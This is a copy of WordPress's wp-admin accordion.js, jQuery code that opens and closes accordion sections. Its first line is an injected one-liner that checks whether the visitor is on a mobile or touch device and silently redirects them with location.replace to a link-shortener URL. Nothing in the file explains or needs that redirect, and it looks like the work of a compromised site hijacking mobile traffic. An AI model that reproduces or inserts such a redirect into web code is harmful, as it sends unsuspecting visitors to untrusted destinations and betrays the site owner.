1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Accordion-folding functionality.
4 *
5 * Markup with the appropriate classes will be automatically hidden,
6 * with one section opening at a time when its title is clicked.
7 * Use the following markup structure for accordion behavior:
8 *
9 * <div class="accordion-container">
10 * <div class="accordion-section open">
11 * <h3 class="accordion-section-title"><button type="button" aria-expanded="true" aria-controls="target-1"></button></h3>
12 * <div class="accordion-section-content" id="target">
13 * </div>
14 * </div>
15 * <div class="accordion-section">
16 * <h3 class="accordion-section-title"><button type="button" aria-expanded="false" aria-controls="target-2"></button></h3>
17 * <div class="accordion-section-content" id="target-2">
18 * </div>
19 * </div>
20 * <div class="accordion-section">
21 * <h3 class="accordion-section-title"><button type="button" aria-expanded="false" aria-controls="target-3"></button></h3>
22 * <div class="accordion-section-content" id="target-3">
23 * </div>
24 * </div>
25 * </div>
26 *
27 * Note that any appropriate tags may be used, as long as the above classes are present.
28 *
29 * @since 3.6.0
30 * @output wp-admin/js/accordion.js
31 */
32
33( function( $ ){
34
35 $( function () {
36
37 // Expand/Collapse accordion sections on click.
38 $( '.accordion-container' ).on( 'click', '.accordion-section-title button', function() {
39 accordionSwitch( $( this ) );
40 });
41
42 });
43
44 /**
45 * Close the current accordion section and open a new one.
46 *
47 * @param {Object} el Title element of the accordion section to toggle.
48 * @since 3.6.0
49 */
50 function accordionSwitch ( el ) {
51 var section = el.closest( '.accordion-section' ),
52 container = section.closest( '.accordion-container' ),
53 siblings = container.find( '.open' ),
54 siblingsToggleControl = siblings.find( '[aria-expanded]' ).first(),
55 content = section.find( '.accordion-section-content' );
56
57 // This section has no content and cannot be expanded.
58 if ( section.hasClass( 'cannot-expand' ) ) {
59 return;
60 }
61
62 // Add a class to the container to let us know something is happening inside.
63 // This helps in cases such as hiding a scrollbar while animations are executing.
64 container.addClass( 'opening' );
65
66 if ( section.hasClass( 'open' ) ) {
67 section.toggleClass( 'open' );
68 content.toggle( true ).slideToggle( 150 );
69 } else {
70 siblingsToggleControl.attr( 'aria-expanded', 'false' );
71 siblings.removeClass( 'open' );
72 siblings.find( '.accordion-section-content' ).show().slideUp( 150 );
73 content.toggle( false ).slideToggle( 150 );
74 section.toggleClass( 'open' );
75 }
76
77 // We have to wait for the animations to finish.
78 setTimeout(function(){
79 container.removeClass( 'opening' );
80 }, 150);
81
82 // If there's an element with an aria-expanded attribute, assume it's a toggle control and toggle the aria-expanded value.
83 if ( el ) {
84 el.attr( 'aria-expanded', String( el.attr( 'aria-expanded' ) === 'false' ) );
85 }
86 }
87
88})(jQuery);
89